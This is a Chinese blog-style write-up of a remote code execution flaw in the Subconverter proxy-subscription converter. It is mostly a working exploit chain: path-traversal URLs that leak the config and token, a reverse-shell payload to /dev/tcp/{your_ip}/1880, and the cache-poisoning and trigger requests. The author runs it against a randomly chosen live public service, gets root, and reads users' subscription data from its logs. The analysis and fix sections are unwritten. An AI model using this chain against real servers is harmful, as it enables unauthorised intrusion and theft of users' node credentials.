漏洞在此之前已经被发现,更多有关漏洞细节可以自行分析该项目

相信能点进来的各位都是使用过订阅转换服务的。通过这类在线工具可以轻松地将v2ray的节点分享链接格式转换为clash使用的订阅链接,或者将clash的订阅格式转换为v2ray使用的节点分享链接,也有人用来转换机场提供的默认clash配置,日常使用的频率非常高。

但订阅转换节点存在的安全风险不仅是有可能被第三方转换服务在后台偷走你的节点信息,就算你使用的转换服务是由节点提供商提供的(节点提供商总不可能偷自己的节点),也存在被人盗取的风险,甚至连提供商自己都不知道。

漏洞描述

目前市面上主流的订阅转换服务,例如肥羊、品云、边缘等,使用的都是基于Subconverter项目搭建的。而目前Github上的Subconverter开源项目中最新的release仍然存在RCE漏洞。也就是说,不管转换服务用的是哪个版本,都有可能被黑客入侵,从而盗走所有人的节点信息。

漏洞复现

随便在网上找个订阅转换服务

一只看着很欠揍的狐狸,就你了

随便输入个符合格式的内容,跳转出后端订阅地址

复制,并加上/version

成功展示subconverter版本。不过subconverter目前最新版只有0.7.2,所以这个服务的老板应该是自己编译改的。不管他,继续。

在下面这些接口命令中尝试访问出配置文件内容(分别使用不同的接口)

# qx-script接口(0.7.2-be878e1后被删除)
/qx-script?url=cHJlZi50b21s
/qx-script?url=cHJlZi55bWw
/qx-script?url=cHJlZi5pbmk

# convert接口
/convert?url=pref.toml
/convert?url=pref.ini
/convert?url=pref.yml

这是由于路径穿越过滤不严谨导致配置文件内容泄露

可以看到暴露的token值为默认值password

来到配置文件最下面,看到缓存开启

好的,准备开始植入恶意指令。首先准备好木马

function parse(x){
    os.exec(["sh","-c","bash -i >& /dev/tcp/{your_ip}/1880 0>&1"])
}

{your_ip}换成你的vps ip,保存成一个txt后在这个目录下开个简单的http服务就行

再开个窗口把监听打开,准备接收反弹shell

在刚才的网址后面加上这一段,让订阅服务主动将准备好的木马读到缓存里

# 指令写入缓存目录
/sub?target=clash&url=http://{your_ip}/payload

接着把url参数后面的内容用md5加密,再放到下面这段链接里,用来触发我们的木马

/sub?target=clash&url=script:cache/{your_md5},1&token={token}

记得把{your_md5}{token}改掉。token就是上面刚刚提到的那个

回车访问,在刚刚等待shell的窗口里就能拿到shell啦

运气不错,是个root。不过还有更刺激的,我们使用ls /etc/systemd/system查看一下他开启的服务

可以看到有个特征比较明显的sub,还有一个xui面板

之后就能用journal -fw sub看到所有在他的sub服务中转换过的订阅信息了。一览无余

漏洞分析

正在写….

漏洞修复

正在写….